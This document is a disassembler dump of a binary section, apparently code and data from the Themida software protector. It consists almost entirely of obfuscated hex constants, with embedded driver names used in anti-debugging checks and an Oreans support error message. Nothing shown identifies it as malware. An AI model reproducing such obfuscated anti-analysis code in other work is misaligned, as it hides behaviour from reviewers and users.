		dd 436A5056h, 567E5E1Dh, 1D42EAD0h, 0B421FE5Eh,	8DD56D05h
		dd 11B4AA87h, 2C749C64h, 8E94775Fh, 643494A8h, 0A73D94BCh
		dd 0BE443A92h, 22FA4CE4h, 0B55DD44Bh, 4D7C7F24h, 49279442h
		dd 32798483h, 0C812200Ah, 0B6000007h, 6A479926h, 25025469h
		dd 0DFBC0EADh, 9471C3F6h, 0EF287A43h, 0CDF0E7C9h, 86339E7Bh
		dd 3E815734h, 0F4C70FECh, 80E96A2h, 58095322h, 12D43B36h
		dd 5B4147C4h, 6F51F1E8h, 0F603AF47h, 56B026E0h,	3C94407Dh
		dd 8A0F8A4h, 2B9AE9C0h,	693B4B77h, 13C3D03Ah, 0E3EFFCA8h
		dd 5D09B423h, 4BC16D05h, 9446ABE7h, 12DF1230h, 0C0CBFABFh
		dd 9EFF516h, 1D51F1EEh,	0EE593F45h, 456D51F1h, 0F6CD15ADh
		dd 0A0A95448h, 1114029h, 427B5C29h, 38BEA713h, 3140FEEDh
		dd 57000000h, 0B1F9A513h, 0E51CECABh, 0CE7AA257h, 5FCA688h
		dd 11AC2B58h, 427B5865h, 0E39F4196h, 946137FEh,	0FA4C7B44h
		dd 0DD224358h, 95DCF8D9h, 0F3000000h, 4349A513h, 51F1E85Dh
		dd 78419471h, 44DC74CCh, 0B79E25FCh, 9D715273h,	0BBEA8239h
		dd 0B720EDB5h, 3093D706h, 3E57E5E9h, 0CA7A6066h, 668E5806h
		dd 5703BA19h, 0AEBB67FFh, 0C7F4DE28h, 0E32BC31Bh, 674D531Bh
		dd 7B5806CAh, 0C9E7CD53h, 0D3FB5806h, 1FB794A4h, 76E4F09Ch
		dd 0CA2E141Ah, 1A425806h, 0A5723A82h, 0EFD5DB32h, 35806C9h
		dd 0D01443DBh, 5DFAD069h, 0BBA1A77Fh, 0CF5E1AD0h, 0FFC70FA7h
		dd 4015E728h, 991FDD87h, 5E1A81B3h, 84529FC7h, 3FF80837h
		dd 2F8C4A17h, 0AB58B400h, 4349913Dh, 57E501F8h,	0E7FD9EC6h
		dd 5DBF8410h, 295818C8h, 1C3A4CE5h, 1EC23096h, 4AA9D0D6h
		dd 173F1E70h, 1B0107CFh, 2F1E912Bh, 626ED807h, 0FE044CF4h
		dd 24846609h, 0FECB133Bh, 0F12D24D8h, 0CA27F6FEh, 0D303E032h
		dd 84CC0AE8h, 0EBD57208h, 60EDDh, 536C7000h, 0EAF2401h
		dd 0C8F3DFBCh, 7D3C9976h, 34894E2Bh, 0A10FA9E2h, 58358736h
		dd 11EE4079h, 0C9A6F8C7h, 505CAE0Dh, 54DCC2C8h,	0F5F05809h
		dd 0F7C4128Eh, 27943E4Bh, 0E38BF9D5h, 5B38959Bh, 0D1A857E6h
		dd 0D8903AD1h, 1599C829h, 713941EDh, 99F856Bh, 42719958h
		dd 42209B37h, 3EA4909Eh, 0A81F2D17h, 0D6000005h, 8A67B906h
		dd 45227449h, 0FFDC2E8Dh, 0B491E3D6h, 0F489A23h, 0EDD007A9h
		dd 0A613BE9Bh, 5E617754h, 14A72F0Ch, 282EB6C2h,	58095542h
		dd 17F45B56h, 0E863494Fh, 4F7751F1h, 0E81B0107h, 72F51F1h
		dd 0B060CED8h, 5C096268h, 0A97157E6h, 93CBDA3h,	7AA9D158h
		dd 32181EF6h, 4658093Dh, 0CDDA861Eh, 12D8B605h,	0B73EA4F3h
		dd 539BFCDh, 97450000h,	0DAF9D628h, 1EB491E3h, 676E4B9Dh
		dd 0B4230052h, 3A7EB709h, 0A5C6176h, 0C315A42Dh, 7BCDF2E6h
		dd 3183389Eh, 0B1979D25h, 0C5580955h, 0A51363CAh, 66ABB1F9h
		dd 3857E65Bh, 8F5C6410h, 0A318BE46h, 0D8079FF7h, 0D8B605CDh
		dd 3EA4F41Ch, 0E4C9D7C1h, 9A000004h, 4E2B7D42h,	9E63885h
		dd 0C3A0F2C9h, 7855A712h, 0D30C5E5Fh, 0B10CCBE5h, 6A4F825Fh
		dd 229D3B18h, 0D8E3F3D0h, 0ECF27A86h, 58095606h, 12B81F1Ah
		dd 3E4BF7C4h, 1772398h,	8F47FD9Dh, 0E790767Ch, 7CA451F1h
		dd 0EDBA92E4h, 9DA8D7E6h, 0CED68239h, 0BA1031F7h, 9BF39F1Ch
		dd 40F8E044h, 5EEACD11h, 547851F2h, 0E3D8FE36h,	0E922B491h
		dd 0F25EFDE3h, 9CE91151h, 7FD7833Ch, 4D29FE7h, 54ECD102h
		dd 0B72150A8h, 3D8F2CAAh, 34BF361h, 0EB1D0A2Ch,	3665B2C7h
		dd 0A7972A30h, 0BB8357E5h, 686CFB5h, 0AEFCE358h, 0C2954F3Dh
		dd 0C044730Bh, 52835098h, 1BE1A67h, 64CEFD55h, 6853C1Eh
		dd 65254758h, 0D950F76Eh, 2007F8h, 131E0000h, 0ABB1F9A5h
		dd 57E502E8h, 9CE28EB6h, 580602BAh, 0ECE7A3C5h,	0F8D9D679h
		dd 0E285h, 40179C00h, 0D08CDDFBh, 0B6C1F052h, 86539B20h
		dd 69C16D52h, 0D201BA1Ch, 417C5B68h, 7A6A22F9h,	927912B7h
		dd 0EAECF963h, 6E06B71Ch, 9A21B5C2h, 640D3248h,	0BE1851F2h
		dd 6561474Dh, 987551F2h, 7CD48039h, 22FA4CE4h, 553FB44Bh
		dd 598832E8h, 0EB33884Eh, 0B9371D23h, 234B51F2h, 107E8AF4h
		dd 6F121860h, 0FD57E60Ah, 39A783D5h, 0FE7B25D6h, 66BD3BE5h
		dd 0F5851DACh, 0EB33CBA2h, 0FC3E62E5h, 4088B05Dh, 396FA178h
		dd 3A49FEBAh, 0E6D7000Bh, 9D20B794h, 8FB13FBFh,	0BAC8B238h
		dd 35Bh, 0B406B923h, 6FC1FCD7h,	297B4092h, 0DE30894Ch
		dd 95E7D601h, 83545C5Ch, 0C60BE83Ah, 14C4A1F3h,	5A7C59ABh
		dd 7B030F61h, 9578F75h,	41A8A358h, 0A6F8C512h, 66AE0DC9h
		dd 0E7B2989Eh, 9EC651F1h, 13A65F6Fh, 0E4B1F9A5h, 0C61ECAF3h
		dd 0E792787Eh, 7EA651F1h, 8043494Fh, 4E57E503h,	0C02BE167h
		dd 12AA341Ah, 0CE965E66h, 692E2C8h, 48CEF658h, 58069362h
		dd 0B2989E76h, 0C6580692h, 93D7069Eh, 580692B1h, 0E3F89ABCh
		dd 0F8D94682h, 957Ch, 0CE9D7400h, 555E132Ch, 1A00064Eh
		dd 2E58061Ah, 12F0D706h, 3E4BF7C4h, 32782499h, 51F1EC0Dh
		dd 0ABFDBE18h, 7B308CEh, 99E18DFBh, 0E53DF093h,	4567E57h
		dd 0CE16BA28h, 0FAF0A4C8h, 0D94D345Dh, 7E0788FFh, 0F2BF079Fh
		dd 0A986D8E5h, 0C2F7DA2Eh, 83BC4C2Ah, 5F493891h, 26E51h
		dd 0F3CC1000h, 0AE0FC4A1h, 68537F5Ch, 1D9C3916h, 0D4E9EECBh
		dd 416F4982h, 0F8D52796h, 0B18EE0D9h, 69469827h, 0F0FC4E6Dh
		dd 587C6268h, 95905809h, 0F8C5122Eh, 0AE0DC9A6h, 0C412A35Ch
		dd 983E4BF7h, 87F5D123h, 5F0BB022h, 8A368352h, 0BA029A32h
		dd 0E51CF5B4h, 755C2957h, 0DEE1F744h, 57032BAFh, 9B81874Fh
		dd 0AF5805FCh, 32145887h, 3D5805FDh, 1647F1Bh, 0FDF8D9D9h
		dd 2Eh,	0F9A51314h, 1BA8ABB1h, 0A77457E5h, 0DC608F2Ah
		dd 0E0C208B4h, 0EB5805FBh, 531289C9h, 0BF8D9DDh, 24154334h
		dd 215001B0h, 4ABBh, 4A17D200h,	7784308Dh, 99C8605Bh, 0F1E87255h
		dd 3036FE51h, 51F1E84Ah, 0E7F0D6DCh, 0DC0451F1h, 34A1EE16h
		dd 0DE4C5685h, 4B22EA32h, 1A2C4C4Dh, 696DBAC6h,	44DF2352h
		dd 3057E60Eh, 0A04C6F63h, 0B8951948h, 9EF6A21Bh, 17FBB406h
		dd 332874Ah, 9BE38BF9h,	0E51AD695h, 0B8648C57h,	5D33D9B0h
		dd 685D38EEh, 6A13F539h, 0FC1E5806h, 6C20455Eh,	2CDEF8D9h
		dd 0F5000000h, 0F1E7F7D9h, 1FB48151h, 0E802E8EEh, 0EE1651F1h
		dd 0A493AA56h, 0FEF285EBh, 0ECE936CEh, 26949ECDh, 912C327Ah
		dd 0FF57E6B7h, 13CC85D7h, 0ABB1F9A5h, 57E65B5Eh, 0F3C00830h
		dd 0A986D8E3h, 6F468E2Dh, 0D3D17B10h, 0B41E4DEFh, 0A2D73AA8h
		dd 9F8783B8h, 6A518966h, 58F0ED50h, 0A87278C0h,	745DFD8Eh
		dd 9F37044Ch, 9F4B6E67h, 805DAF47h, 501D6556h, 0E8ED3A83h
		dd 2C38A2D1h, 437A5DBEh, 577C76ECh, 0B44C93D4h,	5D07666Ch
		dd 0D5FD6413h, 79F31BF7h, 614FE32h, 0B7h, 58AA15C7h, 1365587Bh
		dd 0CD1F9C36h, 82D4E5F0h, 398B32A5h, 0DFF8B800h, 22AF8CDEh
		dd 70684597h, 0B620FD4Fh, 1FA7B305h, 95A3319h, 0E54C4758h
		dd 8D334017h, 784EE8D4h, 78D13F49h, 5AB25E5Fh, 0ACB27AC2h
		dd 51F1FDC6h, 7D83B2DAh, 0E671C177h, 0A14D7557h, 11C44294h
		dd 31E5FCA8h, 7594104Bh, 94DC740Ch, 82B10CC7h, 0CA419572h
		dd 99BDEC4h, 32CAF258h,	9E124086h, 52B63168h, 0E1DAFC30h
		dd 9724B28Fh, 0C2F7DEEBh, 9E6BC116h, 7ED68237h,	0AC5DFD4Fh
		dd 18C4F7DFh, 508691C0h, 9A3C196Bh, 0A06D7521h,	0EED4DA33h
		dd 2D1AA9Eh, 71342DAh, 3, 127DE45Eh, 3C49F5CAh,	6875219Ah
		dd 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h
		dd 7A873388h, 33B86459h, 612368h, 24048900h, 4EB468h, 242C8900h
		dd 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h, 95BD2414h
		dd 817E4A21h, 662DFFEDh, 88B8500Dh, 0C12F9658h,	0ED0502E0h
		dd 2D5A2E4Eh, 32B471BCh, 2D04E0C1h, 0E63F4F76h,	5458C531h
		dd 8324148Bh, 0EC8304C4h, 242C8904h, 0FF08428Fh, 835A2434h
		dd 34FF04C4h, 0C4835D24h, 0A1DE904h, 0EC8FFFFDh, 91B8520Ch
		dd 3061773h, 86E0FFC5h,	2617FDC7h, 0D271932Dh, 0E7551039h
		dd 0D615088h, 94358583h, 8099DD4h, 0AB4D467Dh, 60188AFAh
		dd 5A21613Ah, 0EF0EA303h, 0B045ABE8h, 0DF2A4E16h
		db 96h,	3Ch, 63h
byte_580023	db 0Ch			; DATA XREF: Themida_:005497E8o
					; Themida_:00549FECo ...
		dd 0D725E07Ah, 0BD7C470Ah, 882E10E3h, 8D1719D8h, 3050285Ch
		dd 7B2DDCF0h, 6502BFB2h, 823EA5AFh
		db 0CAh, 0A1h
word_580046	dw 6302h		; DATA XREF: ___:off_43285Co
					; ___:00432864o ...
		dd 0D672D11Ch, 0C9351654h, 0E8490032h, 13h, 48B9D9BDh
		dd 0EEFB0571h, 878BF83Fh, 67CE04B3h, 0FB86EC8h,	605ED8BFh
		dd 0DE9h, 2B881B00h, 1CBCFAD2h,	312F67FBh, 0CAB099FAh
		dd 0F8C68161h, 8B000067h, 80D22BC7h, 34FF4AEFh,	0BBB6632h
		dd 0F98B59E5h, 15ADF181h, 0E981487Ch, 7654868h,	0E091E981h
		dd 0F5120AAh, 1485h, 0FE900h, 56DF0000h, 5274739Eh, 6EA2B22Fh
		dd 0E2019892h, 16048F82h, 0DA8B3FB7h, 0F01EA83h, 4A4AC7BFh
		dd 0EF81664Ah, 0FA816E21h, 0FFFF98D4h, 22850Fh,	80600000h
		dd 9E985CDh, 94000000h,	95C06F41h, 0F67B0BCBh, 26E961h
		dd 0E0310000h, 23319673h, 337B3676h, 44DB8166h,	0FF7CE933h
		dd 9CB4FFFFh, 444528A2h, 59268F03h, 36A2EAE2h, 0BEC6C8CFh
		dd 13E8h, 0AAA73800h, 6E89A91Eh, 841976Fh, 30F36C4Eh, 36656761h
		dd 5031CF81h, 0F5E0CE9h, 0C84h,	68F0F00h, 81000000h, 1D99DAC0h
		dd 1DC68160h, 52000067h, 0E81BB660h, 0Dh, 0EC737686h, 3ECB12B0h
		dd 0F8CA4C0Bh, 586158ECh, 199F68h, 168B5900h, 0F2812CB3h
		dd 61E576F9h, 5E9h, 0E7C47700h,	0EA81BDDFh, 3931094h, 0C281FB8Bh
		dd 1764B1C4h, 8E9h, 90082300h, 277CFB03h, 661689B1h, 0EE81D88Bh
		dd 47D6D6A8h, 5881BE60h, 0D98B51C8h, 0A4C68161h, 8347D6D6h
		dd 850F01E9h, 0FFFFFFAEh, 34EBDF8Bh, 4D534649h,	20205247h
		dd 20444B56h, 20202020h, 204D4D56h, 20202020h, 4E495756h
		dd 20203233h, 4C445856h, 20205244h, 3 dup(0)
		dd 611E9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 25E73AEDh, 6A60662Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 8A2DC355h
		dd 947AE338h, 0C7F8F00Fh, 17761D85h, 6,	0BB666000h, 0F78175B1h
		dd 412A1A6Fh, 0F5C68B61h, 0FD8B70Fh, 1484h, 0E860F00h
		dd 0E9000000h, 9, 0CD94700Fh, 7DDA899Dh, 10E8C1B4h, 18D0Fh
		dd 0E9F50000h, 0Eh, 5841C7EAh, 5FD20EEFh, 0C1D52720h, 0C166406Fh
		dd 6A08C8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 85893AC3h, 6177621h, 0CBC166F5h, 91B56008h
		dd 0BE8h, 0A54F4700h, 41C3D0F7h, 59BC8DBCh, 840F6159h
		dd 1, 40FB83F8h, 30850Fh, 8DF50000h, 1775F5BDh,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0F190454h, 0FCFBC6AFh, 180E9h, 0FB83F800h, 25850F0Dh
		dd 60000000h, 66D1BF0Fh, 63E4CB81h, 0FDBD8D61h,	0F5061775h
		dd 160E9h, 0AE900h, 0ED200000h,	9F26BD7Dh, 0FAEE3C0Dh
		dd 0F01FB83h, 8F85h, 0BE900h, 837B0000h, 909B1A65h, 0B2E741DCh
		dd 0B70F60EAh, 8D61F8CBh, 177605BDh, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 5C1E6734h
		dd 0ADF95D65h, 2E9E724h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 4009C355h
		dd 71AB77DDh, 3BBB6660h, 2850F4Bh, 53000000h, 8D0F615Fh
		dd 14h,	0FE9h, 891BD700h, 38BA3E98h, 0B530C7B3h, 0B6B160A8h
		dd 0F2AFB83h, 5A85h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 66602E31h, 60FA6EBAh
		dd 5E96160h, 95000000h,	7575B66Bh, 0BD8D6161h, 617760Dh
		dd 0CE9h, 960C7000h, 0FD1E1624h, 5C755762h, 63E98Ah, 8E90000h
		dd 0C5000000h, 7DCAE7Fh, 83E6541Ch, 850F27FBh, 224h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 24C35646h, 0B112C6E4h
		dd 15BD8DF5h, 6A061776h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 60CEC350h, 61E3B1FCh
		dd 0F9FB8B60h, 25BD8961h, 60061776h, 66926BB8h,	0C7816606h
		dd 66616FAFh, 0E960C88Ch, 0Eh, 427D973h, 0AD7873C2h, 98A0E8EDh
		dd 24614F9Fh, 0C00AF803h, 103850Fh, 890F0000h, 8, 2850Fh
		dd 61600000h, 7B4DB58Dh, 8BFC0617h, 177BCD85h, 0F50F906h
		dd 0A81h, 5E900h, 85220000h, 897F929Fh,	6A2414h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 919B61C3h, 18C0Fh, 0F9FC0000h, 244C010Fh, 5870FFEh
		dd 60000000h, 61F85F57h, 57006A5Ah, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 83E4C6DEh, 0FC6024C2h
		dd 1840Fh, 61F90000h, 0FC728966h, 0CE9h, 4655B500h, 0E33EF3B2h
		dd 5412BB20h, 10CEC1CCh, 1B8D0Fh, 0E8600000h, 0Dh, 8DA67D2Ch
		dd 0FFB9F68Eh, 0F1FBA6C3h, 0E7815F20h, 26797630h, 72896661h
		dd 4CDF502h, 14E9h, 96D75F00h, 1376664Dh, 23A279CBh, 5EF55E99h
		dd 0B300D7B9h, 98E92Fh,	0EE90000h, 6A000000h, 17482FA8h
		dd 19BEA893h, 8C968471h, 0CD858B8Eh, 6A06177Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0D5DC352h, 32AF7B82h, 0B58DE2F4h, 6177B4Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 39C35040h, 3C51AD54h
		dd 0CE3709F2h, 12858DF9h, 6A06174Ch, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 7F13C352h
		dd 604B1CECh, 9048D281h, 0FF6174ECh, 8589F5D0h,	617761Dh
		dd 8E960h, 92E10000h, 25326681h, 0B966C7CAh, 0FC616809h
		dd 0FE961h, 2E00000h, 589C2A82h, 797BA4C0h, 91DAF572h
		dd 0E9566054h, 0Bh, 0AC148B27h,	0BC5EEEF8h, 5A76EE00h
		dd 5E58BB66h, 1D858B61h, 6A061776h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0F01C352h
		dd 18Ah, 8C0FFC00h, 17h, 12E9h,	0D93EA00h, 0D217F168h
		dd 0FE4C5F0Eh, 98504F4Ch, 0C34E382Fh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 33C35242h, 0B9C5ED78h, 0E83AC46Ch
		dd 12E937h, 2D7D0000h, 0FC2A62AEh, 6AF8B8B7h, 78B68491h
		dd 5A40A16h, 53006A60h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 25D687F8h, 0F94FEBD6h, 0CDBD83FCh
		dd 6177Bh, 31850Fh, 12E90000h, 0A8000000h, 827E8878h, 0C78155CEh
		dd 7D4815FEh, 0FAB15CAAh, 0CD85C719h, 3F06177Bh, 0F000101h
		dd 0A85h, 5E900h, 7D180000h, 0E99A6E7Ah, 16h, 11E9h, 605F1200h
		dd 9254BCEh, 2811C860h,	26DF8A2Ah, 20CDD029h, 0
		dd 3774C00Bh, 8B0C708Dh, 177625BDh, 8B906h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 1776219Dh, 34583B06h,	0D38B157Fh
		dd 304D26Bh, 89018BCAh,	17761D85h, 8B04EB06h, 61C5EB00h
		dd 761D858Bh, 0E9CF0617h, 6, 4DF6FACCh,	6AFA46h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 9B88EBC3h, 0C08BF86Eh, 83E9h, 52515300h, 5C8B5756h
		dd 81661C24h, 0F5A4D3Bh, 6885h,	43B70F00h, 66D8033Ch, 45503B81h
		dd 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch, 1C247403h
		dd 207B8B56h, 31C738Bh,	320247Ch, 0FC202474h, 41FFC983h
		dd 1C245C8Bh, 5403178Bh, 0C7832024h, 84028A04h,	3A0874C0h
		dd 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h,	48B0F04h
		dd 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h, 0FFFFFFF1h
		dd 0E9CA8Bh, 4,	33000000h, 69206E41h, 7265746Eh, 206C616Eh
		dd 65637865h, 6F697470h, 636F206Eh, 65727563h, 41282064h
		dd 65726464h, 203A7373h, 78257830h, 500D0A29h, 7361656Ch
		dd 63202C65h, 61746E6Fh, 73207463h, 6F707075h, 6F407472h
		dd 6E616572h, 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h
		dd 21h,	0E3h dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 1172h, 9959D09h,	858B0614h, 6143481h, 0BC18589h
		dd 44390614h, 850F0424h, 0D4h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 1AC35646h, 6BD0AF09h, 27F4963h
		dd 0A19529B7h, 60061425h, 61F08B66h, 14CDBD83h,	0F000614h
		dd 9784h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0E9203F66h, 0Eh, 0E7368A6Bh, 7BD3E0D1h
		dd 406561FEh, 51609319h, 958B5BF9h, 61425E1h, 13858D61h
		dd 0F06143Bh, 680h, 0ED9D8900h,	60061424h, 80F0B70Fh, 0FF6162EBh
		dd 53006AE0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 1D880FF1h, 60000000h, 10E9h, 865CD100h
		dd 9D3E0532h, 0CAFB617Ch, 0B71A89DDh, 39B58BF6h, 6106140Dh
		dd 931858Bh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8960ECC3h, 1416D195h, 85296006h
		dd 61402E9h, 8E96161h, 0B5000000h, 0D2DF96A9h, 397A5886h
		dd 0F042444h, 3585h, 18B0F00h, 0F9000000h, 80CC85C7h, 10617h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 2FDF89C3h, 65F6C299h, 6A60DD5Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 8933C357h, 8B5C4480h, 14E92Bh, 3FF90000h, 0DDBF1B5Dh
		dd 0AF277AECh, 0D3AC9D2Eh, 2CE70B87h, 0E9F8EA72h, 1Eh
		dd 6840F60h, 89000000h,	14045985h, 0E1816606h, 0F61B149h
		dd 188h, 0F900h, 1B80000h, 87000000h, 17829F85h, 75C00B06h
		dd 59B5FFF6h, 8F06141Ah, 1780C485h, 6A206A06h, 2595FFFFh
		dd 83061435h, 142C45BDh, 8740006h, 95FF006Ah, 6141169h
		dd 3D9BD83h, 74010614h,	80680Dh, 0FF6A0000h, 352595FFh
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 804C49C3h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0D2C35747h, 0B8F87Eh,	9000000h, 141C59BDh
		dd 24548B06h, 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1704h, 0C3564600h, 0CE04484h, 13820Fh, 0EE90000h, 9B000000h
		dd 0ED25A749h, 3E769B30h, 0B4A0F488h, 0ADBD89E1h, 89061419h
		dd 1402F585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 29992951h, 14266D8Dh, 3CBE06h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0FB583DC3h, 831238B3h, 0E95B6032h, 6, 0E889CB83h, 0BE96ABCh
		dd 48000000h, 31CC96C4h, 0FFFCB219h, 74036A2Ch,	66F52424h
		dd 0E19D89ADh, 306140Eh, 60242444h, 3897C681h, 8D8B6B8Fh
		dd 6143195h, 840F5061h,	17h, 0F525060h,	0E9585A31h, 0Ah
		dd 0F7023F78h, 40253057h, 896126D9h, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 20698EC3h
		dd 11A38CC1h, 8BF815B1h, 83F87840h, 1780CCBDh, 850F0006h
		dd 132h, 820F90F8h, 19h, 840F5250h, 0
		dd 8E9310Fh, 0C000000h,	6DC96EBBh, 5A2265DBh, 850F5058h
		dd 18h,	11E960h, 0A6540000h, 0EFC6AB36h, 0AE296CECh, 496487E6h
		dd 610C927Ah, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0B75D83F3h, 0F81B4893h, 0BD892DF7h
		dd 61404D1h, 313DB529h,	0FE90614h, 82000000h, 3107F7B2h
		dd 86355042h, 0A9B8BE39h, 448B92D3h, 8D092C24h,	61406B5h
		dd 0EE9h, 8DE8400h, 68C1E445h, 5BEC4CD5h, 503ADDD5h, 4810Fh
		dd 0B2600000h, 489611Ch, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0E1A0E7CFh, 6E9C3C1h
		dd 0E5000000h, 6F0CF781h, 359D0925h, 8D06140Ch,	1752AB85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0FF110717h, 51006AD0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0EA052693h
		dd 0FF89D6Bh, 180h, 4403F500h, 6A2824h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 3C93EBC3h
		dd 0BE9h, 0CA262E00h, 0A72E599Ah, 8CA7C70h, 6A18408Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0F5B9C352h, 8D8FBDFh, 6A400Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0F6EABEC3h
		dd 0D60FCAFDh, 0FD9D29DDh, 8906142Ah, 1780C885h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0C9B52948h, 89061412h, 1422118Dh, 85095806h,	6140FA5h
		dd 8978708Bh, 142EAD95h, 1CC68306h, 6A96F5h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D15AFAC3h
		dd 8B3CBFDh, 81F58D80h,	24247Ch, 0F100000h, 0F087h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 9800E8Dh, 1403298Dh,	52509006h, 4EBE6660h, 310F61EFh
		dd 7E9h, 0DF8ED400h, 8815C9Ah, 6050585Ah, 8B665250h, 50310FF7h
		dd 5A310F52h, 57585A58h, 7E8h, 27789D00h, 8D7B58BDh, 90615959h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 5AC35545h
		dd 0C33E53B4h, 9DB58917h, 8B06140Fh, 31282444h,	141C7195h
		dd 830F9006h, 9, 0BA616060h, 70DF0404h,	66605061h, 0E8B1DCB9h
		dd 0Eh,	61F503CAh, 123514B2h, 9097385Eh, 6160D458h, 6A906158h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 1A13C355h, 71046CF9h, 8DFC0689h, 1752AB85h
		dd 8B666006h, 0D0FF61D1h, 3F596F5h, 6A242474h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 59CBC355h, 0F186BD9Dh, 16C59D89h, 0BD8D0614h, 61418F1h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 33C35646h
		dd 188F0Fh, 13E90000h, 9B000000h, 91FF1754h, 2A928047h
		dd 0A672B00Ch, 3EE6A774h, 6AAD4E78h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 7F2DC350h
		dd 3A087D06h, 81756AF4h, 24247Ch, 0F100000h, 0D287h, 6D8D8900h
		dd 9006141Ah, 12BB6660h, 0F506168h, 1A86h, 11E96000h, 0CD000000h
		dd 679BDFD5h, 86D45A8Fh, 0A2CE597Ah, 1535A932h,	9061FB8Bh
		dd 9099D31h, 448B0614h,	6A2824h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 2C6EF4C3h, 0E891062Bh
		dd 860F0254h, 6, 20FD9509h, 0E9900614h,	0Eh, 65F96500h
		dd 0E8EB1968h, 915C0A3Eh, 0F500266h, 0E8Dh, 50525000h
		dd 5A310F52h, 60310F58h, 90585A61h, 30F98531h, 858D0614h
		dd 61752ABh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	4AC35545h, 0FCC61C7h, 687h, 39958900h, 0FF06140Eh
		dd 118589D0h, 3061417h,	6A242444h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 911C353h
		dd 141A5DB5h, 95950906h, 0F06140Bh, 1984h, 0BB666000h
		dd 0EE9074Dh, 3000000h,	0AC0A2EB2h, 953D8496h, 967AD5A6h
		dd 0E9AB616Ah, 0Ch, 0E7604EB4h,	75612EEBh, 9A5281C6h, 0FA81h
		dd 820F0001h, 764h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0F3C35747h, 0F11854CEh, 8B606C27h, 140F71BDh
		dd 0D9958B06h, 6106140Eh, 9D9BD8Dh, 6A0614h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 8DDFF7C3h
